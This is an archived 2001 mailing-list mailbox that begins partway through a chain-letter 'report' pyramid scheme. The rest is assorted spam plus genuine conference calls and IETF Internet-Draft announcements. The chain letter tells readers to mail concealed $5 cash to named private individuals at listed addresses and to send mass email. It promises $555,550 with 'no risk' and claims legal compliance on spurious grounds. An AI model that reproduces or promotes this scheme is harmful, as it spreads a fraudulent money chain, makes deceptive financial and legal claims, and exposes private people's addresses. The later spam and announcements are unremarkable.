6. Insert YOUR name & address in the REPORT # 1 Position.

PLEASE MAKE SURE you copy every name & address ACCURATELY!

***Take this entire letter, with the modified list of names, and
save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save
this on a disk as well just in case if you lose any data. To
assist you with marketing your business on the internet, the 5
reports you purchase will provide you with invaluable marketing
information which includes how to send bulk e-mails legally,
where to find thousands of free classified ads and much more.

There are 2 Primary methods to get this venture going:

METHOD #1: BY SENDING BULK E-MAIL LEGALLY
===========================================================

Let's say that you decide to start small, just to see how it
goes, and we will assume you and those involved send out only
5,000 e-mails each.

Let's also assume that the mailing receive only a 0.2% response
(the response could be much better but lets just say it is only
0.2%. Also, many people will send out hundreds of thousands of
e-mails instead of only 5,000 each).

Continuing with this example, you send out only 5,000 e-mails.
With a 0.2% response, that is only 10 orders for report # 1.
Those 10 people responded by sending out 5,000 e-mails each for a
total of 50,000. Out of those 50,000 e-mails, only 0.2% responded
with orders. That's 100 people responding to and ordering Report
# 2. Those 100 people mail out 5,000 e-mails each for a total of
500,000 e-mails.

The 0.2% response to that is 1000 orders for Report # 3. Those
1000 people send out 5,000 e-mails each for a total of 5 million
e-mails.

The 0.2% response to that is 10,000 orders for Report # 4. Those
10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million) e-mails. The 0.2% response to that is
100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $ 500,000.00 (half
million).

Your total income in this example is: 1...$ 50 + 2...$ 500 + 3..$
5,000 + 4... $ 50,000 + 5... $ 500,000...

GRAND TOTAL = $555,550.00

                        NUMBERS DO NOT LIE.

GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE
RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY!

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT
OF 5,000 YOU MAILED TO. Dare to think for a moment what would
happen if everyone or half or even one 4th of those people mailed
100,000 e-mails each or more? There are over 150 million people
on the Internet worldwide and counting. Believe me, many people
will do just that, and more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
Advertising on the net is very, very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free ads
on the internet will easily get a larger response.

We strongly suggest you start with Method # 1 and add METHOD # 2
as you go along.

For every $5 you receive, all you must do is e-mail them the
Report they ordered. That's it. Always provide same day service
on all orders.

This will guarantee that the e-mail they send out, with your name
and address on it, will be prompt because they can not advertise
until they receive the report.

AVAILABLE REPORTS =========================================

Notes: Always send $ 5 cash (US CURRENCY) for each report. 
                  Checks NOT accepted. 
Make sure the cash is concealed by wrapping it in atleast 2 
sheets of paper. On one of those sheets of paper, write the 
NUMBER & NAME of the Report you are ordering., YOUR E-MAIL 
ADDERSS and your name and postal address.

=========================================

PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT # 1: "The Insider's Guide To Advertising For Free On The
Net"

Order Report # 1 from:

Karl Sewon
Åskmolnsvägen 44
74335 Storvreta
SWEDEN

Report #2: "The Insider's Guide To Sending Bulk E-Mail On The
Net"

Order Report #2 from:

Luc Riopel
P.O. Box 37028
St-Hubert   Qc
CANADA    J3Y 8N3

Report # 3: "The Secret To Multilevel Marketing On The Net"

Order Report # 3 from:

Clay Montgomery
12725 E. 76th Circle N.
Owasso, OK 74055
USA

Report # 4: "How To Become A Millionaire Utilizing MLM & The Net"

Order Report # 4 from:

Rick Dennis
P.O. Box 93649
Anchorage, AK 99509-3649
USA

Report # 5: "How To Send 1 Million E-Mails For Free"

Order Report # 5 from:

Christian Ward
PO Box 212537
Augusta, GA 30917-2537
USA

$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDE $$$$$$$$$$$$$$$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report # 1 within 2
weeks, continue sending e-mails until you do. After you have
received 10 orders, 2 to 3 weeks after that you should receive
100 orders or more for Report # 2. If you did not, continue
advertising or sending e-mails until you do. Once you have
received 100 or more orders for Report # 2, YOU CAN RELAX,
Because the system is already working for you, and the cash will
continue to roll in!

THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down
on the list, you are placed in front of a different report. You
can KEEP TRACK of your PROGRESS by watching which report people
are ordering from you.


IF YOU WANT TO GENERATE MORE INCOME, SEND ANOTHER BATCH OF E-
MAILS AND START THE WHOLE PROCESS AGAIN. There is no limit to the
income you can generate from this business!!!

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM:

You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A LITTLE
BIT OF EFFORT. You can make more money in the next few weeks and
months than you haveever imagined. Follow the program EXACTLY AS
INSTRUCTED. Do not change it in anyway. It works exceedingly well
as it is now. Remember to e-mail a copy of this exciting report
after you have put your name and address in Report # 1 and moved
others to # 2...# 5 as instructed above. One of the people you send this to
may send out 100,000 or more e-mails and your name will be on every one of
them. Remember
though, the more you send out the more potential customers you
will reach.
So my friend, I have given you the ideas, information, materials
and opportunity to become financially independent.

IT IS UP TO YOU NOW!

 =====================================================

This message is sent in compliance of the new e-mail bill:
SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618,
http://www.senate.gov/~murkowski/commercialemail/








</FONT><FONT  COLOR="#000000" SIZE=3>



From confctrl-owner  Wed May  9 11:45:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA08278
	for confctrl-outgoing; Wed, 9 May 2001 11:45:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA08273
	for <confctrl@zephyr.isi.edu>; Wed, 9 May 2001 11:45:35 -0700 (PDT)
Received: from flmta01.tampabay.rr.com (flmta01.tampabay.rr.com [65.32.2.48])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f49IjiP01144
	for <confctrl@isi.edu>; Wed, 9 May 2001 11:45:44 -0700 (PDT)
Received: from orders ([24.161.251.215]) by flmta01.tampabay.rr.com
          (InterMail vK.4.03.02.00 201-232-124 license 541af9c8d43ceece5580e1c94f6d0eb3)
          with SMTP id <20010509184542.HEHV292.flmta01@orders>;
          Wed, 9 May 2001 14:45:42 -0400
From: "BigInningSports.com"<orders@biginningsports.com>
To: cdawson@webiphany.com
Subject: Luis Gonzalez Rookies Gem Mint 
Reply-To: orders@biginningsports.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id: <20010509184542.HEHV292.flmta01@orders>
Date: Wed, 9 May 2001 14:45:42 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Luis Gonzalez is baseball's Hottest Hitters. Here is a chance to own his 1991 Bowman Rookie Graded Gem 
Mint 10 for 10.00 ea. Just go to www.biginningsports.com for easy ordering with all kinds of payment options 
and a look at these gems. 







If you would like to be removed from this exclusive mailing list please respond here dmille30 
@tampabayrr.com and your request WILL be honored!

From confctrl-owner  Wed May  9 17:58:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA20635
	for confctrl-outgoing; Wed, 9 May 2001 17:58:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA20630
	for <confctrl@zephyr.isi.edu>; Wed, 9 May 2001 17:58:19 -0700 (PDT)
Received: from e1.ny.us.ibm.com ([32.97.182.101])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4A0wRP00767;
	Wed, 9 May 2001 17:58:28 -0700 (PDT)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id UAA357834;
	Wed, 9 May 2001 20:51:25 -0400
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.96) with ESMTP id UAA139084;
	Wed, 9 May 2001 20:44:25 -0400
Importance: Normal
Subject: ACM Sigcomm 2001 Student Poster Session- Call for submissions 
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@ISI.EDU, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        reres@laas.fr, hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca,
        rem-conf@es.net, commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, Cost264@lip6.fr, domain3@BXL.DG13.cec.eu.int,
        nichains@BXL.DG13.cec.eu.int, gi-fb3@fokus.gmd.de,
        kuvs-elg@fokus.gmd.de, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA, gigabitkits@arl.wustl.edu
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF64F934BA.2DB1E5A9-ON85256A48.00039190@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Wed, 9 May 2001 20:40:49 -0400
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.7 |March 21, 2001) at
 05/09/2001 08:52:55 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




This year, the SIGCOMM 2001 conference will sponsor a one-hour poster
session
aimed at showcasing the "work-in-progress" of students attending the
conference.  The goal of the poster session is to present students' current
work and provide an opportunity for informal discussion of the work with
the
students at the conference venue.

Poster submission details and other information on this are at
http://nms.lcs.mit.edu/sigcomm01-poster.html




From confctrl-owner  Fri May 11 04:12:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA18469
	for confctrl-outgoing; Fri, 11 May 2001 04:12:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA18464
	for <confctrl@zephyr.isi.edu>; Fri, 11 May 2001 04:12:48 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4BBCuP22157
	for <confctrl@isi.edu>; Fri, 11 May 2001 04:12:57 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03812;
	Fri, 11 May 2001 07:12:50 -0400 (EDT)
Message-Id: <200105111112.HAA03812@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: confctrl@ISI.EDU, sip@lists.bell-labs.com, tsvwg@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-fairlie-mmusic-sdp-sctp-00.txt
Date: Fri, 11 May 2001 07:12:49 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Guidelines for specifying SCTP-based media transport 
                          using SDP
	Author(s)	: R. Fairlie-Cuninghame
	Filename	: draft-fairlie-mmusic-sdp-sctp-00.txt
	Pages		: 18
	Date		: 10-May-01
	
This document describes a set of guidelines for using the Session
Description Protocol (SDP) to specify media transport using the
Stream Control Transmission Protocol (SCTP).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-fairlie-mmusic-sdp-sctp-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010510120408.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-fairlie-mmusic-sdp-sctp-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010510120408.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri May 11 15:45:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA20026
	for confctrl-outgoing; Fri, 11 May 2001 15:45:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA20021
	for <confctrl@zephyr.isi.edu>; Fri, 11 May 2001 15:45:19 -0700 (PDT)
Received: from usa.com (ti34a80-0703.bb.online.no [148.122.10.190])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f4BMjSP05408
	for <confctrl@isi.edu>; Fri, 11 May 2001 15:45:28 -0700 (PDT)
Message-Id: <200105112245.f4BMjSP05408@tnt.isi.edu>
From: "Tony Hammer" <tv-career@usa.com>
To: <confctrl@ISI.EDU>
Subject: 
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Sat, 12 May 2001 00:46:55 +0200
Reply-To: "Tony Hammer" <tv-career@usa.com>
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


From confctrl-owner  Sun May 13 13:15:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA20030
	for confctrl-outgoing; Sun, 13 May 2001 13:15:30 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA20023
	for <confctrl@zephyr.isi.edu>; Sun, 13 May 2001 13:15:28 -0700 (PDT)
Received: from mail.isi.edu (w116.z209220237.phl-pa.dsl.cnc.net [209.220.237.116])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f4DKFNf16177
	for <confctrl@isi.edu>; Sun, 13 May 2001 13:15:38 -0700 (PDT)
Message-Id: <200105132015.f4DKFNf16177@gamma.isi.edu>
From: mail@ykcom.com
Date: Sun, 13 May 2001 16:27:57
To: confctrl@ISI.EDU
Subject: Find Your Business Today..  It's Free for limited time!
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Why people from 20 countries in a short period?
--------------------------------------------------------------------------------------------------
Businesses for sale, Investment Properties,
Franchises, Homebased businesses,
Distribution, Wholesale opportunities.

Place your LISTINGS or AD for FREE!
Find you business today.

Visit our website http://www.findmybusiness.com

===================================================
Happy Mother's Day!  

Trust Lord with all your heart .........He will never let you down!


  


From confctrl-owner  Mon May 14 03:14:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA16641
	for confctrl-outgoing; Mon, 14 May 2001 03:14:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA16636
	for <confctrl@zephyr.isi.edu>; Mon, 14 May 2001 03:14:00 -0700 (PDT)
Received: from smtp4.cluster.oleane.net (smtp4.cluster.oleane.net [195.25.12.62])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4EAE9P01524
	for <confctrl@isi.edu>; Mon, 14 May 2001 03:14:10 -0700 (PDT)
Received: from oleane (dyn-1-1-233.Vin.dialup.oleane.fr [195.25.4.233]) by smtp4.cluster.oleane.net with SMTP id f4EAE4G17134 for <confctrl@isi.edu>; Mon, 14 May 2001 12:14:04 +0200 (CEST)
Message-ID: <00b101c0dc5e$a4a09dc0$8001a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <confctrl@ISI.EDU>
Subject: VoDSL Europe 2002 
Date: Mon, 14 May 2001 12:14:20 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00AE_01C0DC6F.67DD2280"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00AE_01C0DC6F.67DD2280
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

VoDSL Europe 2002=20
The Deployment Scenario=20

VoDSL Europe 2002, to be held February 12 to 15 in Paris, is the most =
important international event of its kind entirely dedicated to VoDSL =
networks.=20
A Call for proposals is online at:
http://www.upperside.fr/vodsl02/vodsl02intro.htm
VoDSL Europe will also be organized in Germany and Italy in 2002.

------=_NextPart_000_00AE_01C0DC6F.67DD2280
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT size=3D2><SPAN class=3Dtexte><SPAN class=3Dtitrepapier><FONT=20
color=3D#663333><SPAN class=3Dtitreune><SPAN =
class=3Dtitreinterventions><SPAN=20
class=3Dtitrepapier><SPAN class=3Dtitreune><SPAN =
class=3Dtitrepapier>VoDSL Europe 2002=20
</SPAN></SPAN></SPAN></SPAN></SPAN></FONT></SPAN><BR><FONT =
color=3D#009999><SPAN=20
class=3Dtitresession><FONT color=3D#999999>The Deployment=20
Scenario</FONT></SPAN></FONT><FONT color=3D#999999> </FONT><BR><BR>VoDSL =
Europe=20
2002, to be held February 12 to 15 in Paris, is the most important =
international=20
event of its kind entirely dedicated to VoDSL networks. =
</SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte>A Call for proposals is online=20
at:</SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte><A=20
href=3D"http://www.upperside.fr/vodsl02/vodsl02intro.htm">http://www.uppe=
rside.fr/vodsl02/vodsl02intro.htm</A></SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte>VoDSL Europe will also be =
organized in=20
Germany and Italy in=20
2002.</SPAN></FONT></DIV></FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_00AE_01C0DC6F.67DD2280--


From confctrl-owner  Mon May 14 04:35:31 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA20207
	for confctrl-outgoing; Mon, 14 May 2001 04:35:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA20202
	for <confctrl@zephyr.isi.edu>; Mon, 14 May 2001 04:35:29 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4EBZdP11021
	for <confctrl@isi.edu>; Mon, 14 May 2001 04:35:40 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07081;
	Mon, 14 May 2001 07:35:30 -0400 (EDT)
Message-Id: <200105141135.HAA07081@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-05.txt,.ps
Date: Mon, 14 May 2001 07:35:30 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordiantion
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-05.txt,.ps
	Pages		: 46
	Date		: 11-May-01
	
The local Message Bus (Mbus) is a simple message-oriented
coordination infrastructure for group communication within groups of
co-located communication peers. The Mbus provides automatic location
of communication peers, subject based addressing, reliable message
transfer and group communication. The protocol uses an IP multicast
group as a common communication channel between peers. The scope of
this group is strictly limited to link-local communication. This
document specifies the Mbus protocol, i.e., message syntax,
addressing and transport mechanisms.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-05.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010511100152.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010511100152.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue May 15 01:45:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA08180
	for confctrl-outgoing; Tue, 15 May 2001 01:45:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA08175
	for <confctrl@zephyr.isi.edu>; Tue, 15 May 2001 01:45:08 -0700 (PDT)
Received: from clienti.promo.ro ([194.102.177.67])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4F8jFZ05010
	for <confctrl@isi.edu>; Tue, 15 May 2001 01:45:16 -0700 (PDT)
Received: from localhost ([212.93.138.59])
	by clienti.promo.ro (8.11.2/8.8.7) with ESMTP id f4F8hQa16377
	for <confctrl@isi.edu>; Tue, 15 May 2001 11:43:27 +0300
Message-Id: <200105150843.f4F8hQa16377@clienti.promo.ro>
X-Sender: contact@eturism.ro
From: contact eTurism <contact@eturism.ro>
To: confctrl@ISI.EDU
Date: Tue, 15 May 2001 11:42:32 +0300
Subject: Traveling to Romania (Invitation)
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__2568469_42152.73"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__2568469_42152.73
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

  We invite you to find the best Romanian vacation. You enjoy spectacular mountain 
scenery or the hot sea? You'd like to discover new wonders of the world or 
just to go to the extremes?  www.eTourism.ro offers you all that and more. 
Through us you can book rooms in hotels or plan the most unusual trip...check 
it out!!!  Best regars,eTourism Team 
 

------=_NextPart_000_001__2568469_42152.73
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

PE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDT05URU5UPSJ0ZXh0L2h0bWw7Y2hh
cnNldD1pc28tODg1OS0xIj4NCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQg
SFRNTCA0LjAgVHJhbnNpdGlvbmFsLy9FTiI+DQo8SFRNTD48SEVBRD4NCjxNRVRBIGh0dHAt
ZXF1aXY9Q29udGVudC1UeXBlIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1
OS0xIj4NCjxNRVRBIGNvbnRlbnQ9Ik1TSFRNTCA1LjUwLjQxMzQuNjAwIiBuYW1lPUdFTkVS
QVRPUj4NCjxTVFlMRT48L1NUWUxFPg0KPC9IRUFEPg0KPEJPRFkgYmdDb2xvcj0jMDA4MDAw
Pg0KPERJVj48Rk9OVCBjb2xvcj0jZmZmZmZmPjwvRk9OVD4mbmJzcDs8L0RJVj4NCjxESVY+
PEZPTlQgY29sb3I9I2ZmZmZmZj48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIGNv
bG9yPSNmZmZmZmY+V2UgaW52aXRlIHlvdSB0byBmaW5kIHRoZSBiZXN0IFJvbWFuaWFuIHZh
Y2F0aW9uLiBZb3UgDQplbmpveSBzcGVjdGFjdWxhciBtb3VudGFpbiBzY2VuZXJ5IG9yIHRo
ZSBob3Qgc2VhPyBZb3UnZCBsaWtlIHRvIGRpc2NvdmVyIG5ldyANCndvbmRlcnMgb2YgdGhl
IHdvcmxkIG9yIGp1c3QgdG8gZ28gdG8gdGhlIGV4dHJlbWVzPyA8L0ZPTlQ+PC9ESVY+DQo8
RElWPjxGT05UIGNvbG9yPSNmZmZmZmY+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj48QSBo
cmVmPSJodHRwOi8vd3d3LmVUb3VyaXNtLnJvIj48Rk9OVCBjb2xvcj0jZmZmZmZmIA0Kc2l6
ZT00PjxTVFJPTkc+d3d3LmVUb3VyaXNtLnJvPC9TVFJPTkc+PC9GT05UPjwvQT48Rk9OVCBj
b2xvcj0jZmZmZmZmPiBvZmZlcnMgDQp5b3UgYWxsIHRoYXQgYW5kIG1vcmUuIFRocm91Z2gg
dXMgeW91IGNhbiBib29rIHJvb21zIGluIGhvdGVscyBvciBwbGFuIHRoZSBtb3N0IA0KdW51
c3VhbCB0cmlwLi4uY2hlY2sgaXQgb3V0ISEhPC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8
L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIGNvbG9yPSNmZmZmZmY+QmVz
dCByZWdhcnMsPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBjb2xvcj0jZmZmZmZmPmVUb3Vy
aXNtIFRlYW08L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWwgY29sb3I9I2Zm
ZmZmZiBzaXplPTI+PEZPTlQgDQpjb2xvcj0jMDAwMDAwPjwvRk9OVD4mbmJzcDs8L0RJVj4N
CjxESVY+PEJSPjwvRElWPjwvRk9OVD4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+
Jm5ic3A7PC9ESVY+PC9GT05UPjwvQk9EWT48L0hUTUw+DQo=

------=_NextPart_000_001__2568469_42152.73--


From confctrl-owner  Wed May 16 15:32:02 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA21031
	for confctrl-outgoing; Wed, 16 May 2001 15:32:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA21026
	for <confctrl@zephyr.isi.edu>; Wed, 16 May 2001 15:32:01 -0700 (PDT)
Received: from io.luxxon.com ([65.162.241.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4GMWDZ05423
	for <confctrl@isi.edu>; Wed, 16 May 2001 15:32:13 -0700 (PDT)
Received: from CHARON (dhcp-000-177.luxxon.com [192.168.0.177])
